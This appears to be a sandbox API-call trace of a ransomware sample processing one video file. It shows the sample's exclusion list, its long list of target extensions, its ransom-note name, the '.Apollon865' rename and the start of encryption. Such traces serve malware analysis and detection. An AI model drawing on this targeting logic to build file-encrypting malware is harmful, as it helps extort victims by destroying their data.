	[0086.357] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44df4070, ftCreationTime.dwHighDateTime=0x1d4cada, ftLastAccessTime.dwLowDateTime=0x328f0ef0, ftLastAccessTime.dwHighDateTime=0x1d4c77e, ftLastWriteTime.dwLowDateTime=0x328f0ef0, ftLastWriteTime.dwHighDateTime=0x1d4c77e, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wEs3wMzBy1manSFNm_E3.flv", cAlternateFileName="WES3WM~1.FLV")) returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="..") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="windows") returned -1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="bootmgr") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="temp") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="pagefile.sys") returned 1
	[0086.357] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="boot") returned 1
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="ids.txt") returned 1
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="ntuser.dat") returned 1
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="perflogs") returned 1
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2="MSBuild") returned 1
	[0086.358] lstrlenW (lpString="wEs3wMzBy1manSFNm_E3.flv") returned 24
	[0086.358] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QribyyHfWhKB4PKGXpH.mkv") returned 60
	[0086.358] lstrcpyW (in: lpString1=0x119e652, lpString2="wEs3wMzBy1manSFNm_E3.flv" | out: lpString1="wEs3wMzBy1manSFNm_E3.flv") returned="wEs3wMzBy1manSFNm_E3.flv"
	[0086.358] lstrlenW (lpString="wEs3wMzBy1manSFNm_E3.flv") returned 24
	[0086.358] lstrlenW (lpString="Apollon865") returned 10
	[0086.358] lstrcmpiW (lpString1="FNm_E3.flv", lpString2="Apollon865") returned 1
	[0086.358] lstrlenW (lpString=".dll") returned 4
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".dll") returned 1
	[0086.358] lstrlenW (lpString=".lnk") returned 4
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".lnk") returned 1
	[0086.358] lstrlenW (lpString=".ini") returned 4
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".ini") returned 1
	[0086.358] lstrlenW (lpString=".sys") returned 4
	[0086.358] lstrcmpiW (lpString1="wEs3wMzBy1manSFNm_E3.flv", lpString2=".sys") returned 1
	[0086.358] lstrlenW (lpString="wEs3wMzBy1manSFNm_E3.flv") returned 24
	[0086.358] lstrlenW (lpString="bak") returned 3
	[0086.358] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.358] lstrlenW (lpString="ba_") returned 3
	[0086.358] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.358] lstrlenW (lpString="dbb") returned 3
	[0086.358] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.358] lstrlenW (lpString="vmdk") returned 4
	[0086.358] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.358] lstrlenW (lpString="rar") returned 3
	[0086.358] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.358] lstrlenW (lpString="zip") returned 3
	[0086.358] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.358] lstrlenW (lpString="tgz") returned 3
	[0086.358] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.358] lstrlenW (lpString="vbox") returned 4
	[0086.358] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.358] lstrlenW (lpString="vdi") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.359] lstrlenW (lpString="vhd") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.359] lstrlenW (lpString="vhdx") returned 4
	[0086.359] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.359] lstrlenW (lpString="avhd") returned 4
	[0086.359] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.359] lstrlenW (lpString="db") returned 2
	[0086.359] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.359] lstrlenW (lpString="db2") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.359] lstrlenW (lpString="db3") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.359] lstrlenW (lpString="dbf") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.359] lstrlenW (lpString="mdf") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.359] lstrlenW (lpString="mdb") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.359] lstrlenW (lpString="sql") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.359] lstrlenW (lpString="sqlite") returned 6
	[0086.359] lstrcmpiW (lpString1="E3.flv", lpString2="sqlite") returned -1
	[0086.359] lstrlenW (lpString="sqlite3") returned 7
	[0086.359] lstrcmpiW (lpString1="_E3.flv", lpString2="sqlite3") returned -1
	[0086.359] lstrlenW (lpString="sqlitedb") returned 8
	[0086.359] lstrcmpiW (lpString1="m_E3.flv", lpString2="sqlitedb") returned -1
	[0086.359] lstrlenW (lpString="xml") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.359] lstrlenW (lpString="$er") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.359] lstrlenW (lpString="4dd") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.359] lstrlenW (lpString="4dl") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.359] lstrlenW (lpString="^^^") returned 3
	[0086.359] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.360] lstrlenW (lpString="abs") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.360] lstrlenW (lpString="abx") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.360] lstrlenW (lpString="accdb") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accdb") returned -1
	[0086.360] lstrlenW (lpString="accdc") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accdc") returned -1
	[0086.360] lstrlenW (lpString="accde") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accde") returned -1
	[0086.360] lstrlenW (lpString="accdr") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accdr") returned -1
	[0086.360] lstrlenW (lpString="accdt") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accdt") returned -1
	[0086.360] lstrlenW (lpString="accdw") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accdw") returned -1
	[0086.360] lstrlenW (lpString="accft") returned 5
	[0086.360] lstrcmpiW (lpString1="3.flv", lpString2="accft") returned -1
	[0086.360] lstrlenW (lpString="adb") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.360] lstrlenW (lpString="adb") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.360] lstrlenW (lpString="ade") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.360] lstrlenW (lpString="adf") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.360] lstrlenW (lpString="adn") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.360] lstrlenW (lpString="adp") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.360] lstrlenW (lpString="alf") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.360] lstrlenW (lpString="ask") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.360] lstrlenW (lpString="btr") returned 3
	[0086.360] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.360] lstrlenW (lpString="cat") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.361] lstrlenW (lpString="cdb") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.361] lstrlenW (lpString="ckp") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.361] lstrlenW (lpString="cma") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.361] lstrlenW (lpString="cpd") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.361] lstrlenW (lpString="dacpac") returned 6
	[0086.361] lstrcmpiW (lpString1="E3.flv", lpString2="dacpac") returned 1
	[0086.361] lstrlenW (lpString="dad") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.361] lstrlenW (lpString="dadiagrams") returned 10
	[0086.361] lstrcmpiW (lpString1="FNm_E3.flv", lpString2="dadiagrams") returned 1
	[0086.361] lstrlenW (lpString="daschema") returned 8
	[0086.361] lstrcmpiW (lpString1="m_E3.flv", lpString2="daschema") returned 1
	[0086.361] lstrlenW (lpString="db-journal") returned 10
	[0086.361] lstrcmpiW (lpString1="FNm_E3.flv", lpString2="db-journal") returned 1
	[0086.361] lstrlenW (lpString="db-shm") returned 6
	[0086.361] lstrcmpiW (lpString1="E3.flv", lpString2="db-shm") returned 1
	[0086.361] lstrlenW (lpString="db-wal") returned 6
	[0086.361] lstrcmpiW (lpString1="E3.flv", lpString2="db-wal") returned 1
	[0086.361] lstrlenW (lpString="dbc") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.361] lstrlenW (lpString="dbs") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.361] lstrlenW (lpString="dbt") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.361] lstrlenW (lpString="dbv") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.361] lstrlenW (lpString="dbx") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.361] lstrlenW (lpString="dcb") returned 3
	[0086.361] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.361] lstrlenW (lpString="dct") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.362] lstrlenW (lpString="dcx") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.362] lstrlenW (lpString="ddl") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.362] lstrlenW (lpString="dlis") returned 4
	[0086.362] lstrcmpiW (lpString1=".flv", lpString2="dlis") returned -1
	[0086.362] lstrlenW (lpString="dp1") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dp1") returned 1
	[0086.362] lstrlenW (lpString="dqy") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dqy") returned 1
	[0086.362] lstrlenW (lpString="dsk") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dsk") returned 1
	[0086.362] lstrlenW (lpString="dsn") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dsn") returned 1
	[0086.362] lstrlenW (lpString="dtsx") returned 4
	[0086.362] lstrcmpiW (lpString1=".flv", lpString2="dtsx") returned -1
	[0086.362] lstrlenW (lpString="dxl") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="dxl") returned 1
	[0086.362] lstrlenW (lpString="eco") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="eco") returned 1
	[0086.362] lstrlenW (lpString="ecx") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="ecx") returned 1
	[0086.362] lstrlenW (lpString="edb") returned 3
	[0086.362] lstrcmpiW (lpString1="flv", lpString2="edb") returned 1
	[0086.362] lstrlenW (lpString="epim") returned 4
	[0086.363] lstrcmpiW (lpString1=".flv", lpString2="epim") returned -1
	[0086.363] lstrlenW (lpString="fcd") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fcd") returned 1
	[0086.363] lstrlenW (lpString="fdb") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fdb") returned 1
	[0086.363] lstrlenW (lpString="fic") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fic") returned 1
	[0086.363] lstrlenW (lpString="flexolibrary") returned 12
	[0086.363] lstrcmpiW (lpString1="nSFNm_E3.flv", lpString2="flexolibrary") returned 1
	[0086.363] lstrlenW (lpString="fm5") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fm5") returned -1
	[0086.363] lstrlenW (lpString="fmp") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fmp") returned -1
	[0086.363] lstrlenW (lpString="fmp12") returned 5
	[0086.363] lstrcmpiW (lpString1="3.flv", lpString2="fmp12") returned -1
	[0086.363] lstrlenW (lpString="fmpsl") returned 5
	[0086.363] lstrcmpiW (lpString1="3.flv", lpString2="fmpsl") returned -1
	[0086.363] lstrlenW (lpString="fol") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fol") returned -1
	[0086.363] lstrlenW (lpString="fp3") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fp3") returned -1
	[0086.363] lstrlenW (lpString="fp4") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fp4") returned -1
	[0086.363] lstrlenW (lpString="fp5") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fp5") returned -1
	[0086.363] lstrlenW (lpString="fp7") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fp7") returned -1
	[0086.363] lstrlenW (lpString="fpt") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="fpt") returned -1
	[0086.363] lstrlenW (lpString="frm") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="frm") returned -1
	[0086.363] lstrlenW (lpString="gdb") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.363] lstrlenW (lpString="gdb") returned 3
	[0086.363] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.363] lstrlenW (lpString="grdb") returned 4
	[0086.363] lstrcmpiW (lpString1=".flv", lpString2="grdb") returned -1
	[0086.364] lstrlenW (lpString="gwi") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="gwi") returned -1
	[0086.364] lstrlenW (lpString="hdb") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="hdb") returned -1
	[0086.364] lstrlenW (lpString="his") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="his") returned -1
	[0086.364] lstrlenW (lpString="ib") returned 2
	[0086.364] lstrcmpiW (lpString1="lv", lpString2="ib") returned 1
	[0086.364] lstrlenW (lpString="idb") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="idb") returned -1
	[0086.364] lstrlenW (lpString="ihx") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="ihx") returned -1
	[0086.364] lstrlenW (lpString="itdb") returned 4
	[0086.364] lstrcmpiW (lpString1=".flv", lpString2="itdb") returned -1
	[0086.364] lstrlenW (lpString="itw") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="itw") returned -1
	[0086.364] lstrlenW (lpString="jet") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="jet") returned -1
	[0086.364] lstrlenW (lpString="jtx") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="jtx") returned -1
	[0086.364] lstrlenW (lpString="kdb") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="kdb") returned -1
	[0086.364] lstrlenW (lpString="kexi") returned 4
	[0086.364] lstrcmpiW (lpString1=".flv", lpString2="kexi") returned -1
	[0086.364] lstrlenW (lpString="kexic") returned 5
	[0086.364] lstrcmpiW (lpString1="3.flv", lpString2="kexic") returned -1
	[0086.364] lstrlenW (lpString="kexis") returned 5
	[0086.364] lstrcmpiW (lpString1="3.flv", lpString2="kexis") returned -1
	[0086.364] lstrlenW (lpString="lgc") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="lgc") returned -1
	[0086.364] lstrlenW (lpString="lwx") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="lwx") returned -1
	[0086.364] lstrlenW (lpString="maf") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="maf") returned -1
	[0086.364] lstrlenW (lpString="maq") returned 3
	[0086.364] lstrcmpiW (lpString1="flv", lpString2="maq") returned -1
	[0086.364] lstrlenW (lpString="mar") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mar") returned -1
	[0086.365] lstrlenW (lpString="marshal") returned 7
	[0086.365] lstrcmpiW (lpString1="_E3.flv", lpString2="marshal") returned -1
	[0086.365] lstrlenW (lpString="mas") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mas") returned -1
	[0086.365] lstrlenW (lpString="mav") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mav") returned -1
	[0086.365] lstrlenW (lpString="maw") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="maw") returned -1
	[0086.365] lstrlenW (lpString="mdbhtml") returned 7
	[0086.365] lstrcmpiW (lpString1="_E3.flv", lpString2="mdbhtml") returned -1
	[0086.365] lstrlenW (lpString="mdn") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mdn") returned -1
	[0086.365] lstrlenW (lpString="mdt") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mdt") returned -1
	[0086.365] lstrlenW (lpString="mfd") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mfd") returned -1
	[0086.365] lstrlenW (lpString="mpd") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mpd") returned -1
	[0086.365] lstrlenW (lpString="mrg") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mrg") returned -1
	[0086.365] lstrlenW (lpString="mud") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mud") returned -1
	[0086.365] lstrlenW (lpString="mwb") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="mwb") returned -1
	[0086.365] lstrlenW (lpString="myd") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="myd") returned -1
	[0086.365] lstrlenW (lpString="ndf") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="ndf") returned -1
	[0086.365] lstrlenW (lpString="nnt") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="nnt") returned -1
	[0086.365] lstrlenW (lpString="nrmlib") returned 6
	[0086.365] lstrcmpiW (lpString1="E3.flv", lpString2="nrmlib") returned -1
	[0086.365] lstrlenW (lpString="ns2") returned 3
	[0086.365] lstrcmpiW (lpString1="flv", lpString2="ns2") returned -1
	[0086.365] lstrlenW (lpString="ns3") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="ns3") returned -1
	[0086.366] lstrlenW (lpString="ns4") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="ns4") returned -1
	[0086.366] lstrlenW (lpString="nsf") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="nsf") returned -1
	[0086.366] lstrlenW (lpString="nv") returned 2
	[0086.366] lstrcmpiW (lpString1="lv", lpString2="nv") returned -1
	[0086.366] lstrlenW (lpString="nv2") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="nv2") returned -1
	[0086.366] lstrlenW (lpString="nwdb") returned 4
	[0086.366] lstrcmpiW (lpString1=".flv", lpString2="nwdb") returned -1
	[0086.366] lstrlenW (lpString="nyf") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="nyf") returned -1
	[0086.366] lstrlenW (lpString="odb") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.366] lstrlenW (lpString="odb") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.366] lstrlenW (lpString="oqy") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="oqy") returned -1
	[0086.366] lstrlenW (lpString="ora") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="ora") returned -1
	[0086.366] lstrlenW (lpString="orx") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="orx") returned -1
	[0086.366] lstrlenW (lpString="owc") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="owc") returned -1
	[0086.366] lstrlenW (lpString="p96") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="p96") returned -1
	[0086.366] lstrlenW (lpString="p97") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="p97") returned -1
	[0086.366] lstrlenW (lpString="pan") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="pan") returned -1
	[0086.366] lstrlenW (lpString="pdb") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="pdb") returned -1
	[0086.366] lstrlenW (lpString="pdm") returned 3
	[0086.366] lstrcmpiW (lpString1="flv", lpString2="pdm") returned -1
	[0086.366] lstrlenW (lpString="pnz") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="pnz") returned -1
	[0086.367] lstrlenW (lpString="qry") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="qry") returned -1
	[0086.367] lstrlenW (lpString="qvd") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="qvd") returned -1
	[0086.367] lstrlenW (lpString="rbf") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="rbf") returned -1
	[0086.367] lstrlenW (lpString="rctd") returned 4
	[0086.367] lstrcmpiW (lpString1=".flv", lpString2="rctd") returned -1
	[0086.367] lstrlenW (lpString="rod") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="rod") returned -1
	[0086.367] lstrlenW (lpString="rodx") returned 4
	[0086.367] lstrcmpiW (lpString1=".flv", lpString2="rodx") returned -1
	[0086.367] lstrlenW (lpString="rpd") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="rpd") returned -1
	[0086.367] lstrlenW (lpString="rsd") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="rsd") returned -1
	[0086.367] lstrlenW (lpString="sas7bdat") returned 8
	[0086.367] lstrcmpiW (lpString1="m_E3.flv", lpString2="sas7bdat") returned -1
	[0086.367] lstrlenW (lpString="sbf") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="sbf") returned -1
	[0086.367] lstrlenW (lpString="scx") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="scx") returned -1
	[0086.367] lstrlenW (lpString="sdb") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="sdb") returned -1
	[0086.367] lstrlenW (lpString="sdc") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="sdc") returned -1
	[0086.367] lstrlenW (lpString="sdf") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="sdf") returned -1
	[0086.367] lstrlenW (lpString="sis") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="sis") returned -1
	[0086.367] lstrlenW (lpString="spq") returned 3
	[0086.367] lstrcmpiW (lpString1="flv", lpString2="spq") returned -1
	[0086.367] lstrlenW (lpString="te") returned 2
	[0086.367] lstrcmpiW (lpString1="lv", lpString2="te") returned -1
	[0086.367] lstrlenW (lpString="teacher") returned 7
	[0086.367] lstrcmpiW (lpString1="_E3.flv", lpString2="teacher") returned -1
	[0086.368] lstrlenW (lpString="tmd") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="tmd") returned -1
	[0086.368] lstrlenW (lpString="tps") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="tps") returned -1
	[0086.368] lstrlenW (lpString="trc") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.368] lstrlenW (lpString="trc") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.368] lstrlenW (lpString="trm") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="trm") returned -1
	[0086.368] lstrlenW (lpString="udb") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="udb") returned -1
	[0086.368] lstrlenW (lpString="udl") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="udl") returned -1
	[0086.368] lstrlenW (lpString="usr") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="usr") returned -1
	[0086.368] lstrlenW (lpString="v12") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="v12") returned -1
	[0086.368] lstrlenW (lpString="vis") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="vis") returned -1
	[0086.368] lstrlenW (lpString="vpd") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="vpd") returned -1
	[0086.368] lstrlenW (lpString="vvv") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="vvv") returned -1
	[0086.368] lstrlenW (lpString="wdb") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="wdb") returned -1
	[0086.368] lstrlenW (lpString="wmdb") returned 4
	[0086.368] lstrcmpiW (lpString1=".flv", lpString2="wmdb") returned -1
	[0086.368] lstrlenW (lpString="wrk") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="wrk") returned -1
	[0086.368] lstrlenW (lpString="xdb") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="xdb") returned -1
	[0086.368] lstrlenW (lpString="xld") returned 3
	[0086.368] lstrcmpiW (lpString1="flv", lpString2="xld") returned -1
	[0086.368] lstrlenW (lpString="xmlff") returned 5
	[0086.368] lstrcmpiW (lpString1="3.flv", lpString2="xmlff") returned -1
	[0086.368] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wEs3wMzBy1manSFNm_E3.flv.Apollon865") returned 72
	[0086.369] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wEs3wMzBy1manSFNm_E3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wes3wmzby1mansfnm_e3.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wEs3wMzBy1manSFNm_E3.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wes3wmzby1mansfnm_e3.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wEs3wMzBy1manSFNm_E3.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wes3wmzby1mansfnm_e3.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.371] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=9503) returned 1
	[0086.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.372] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
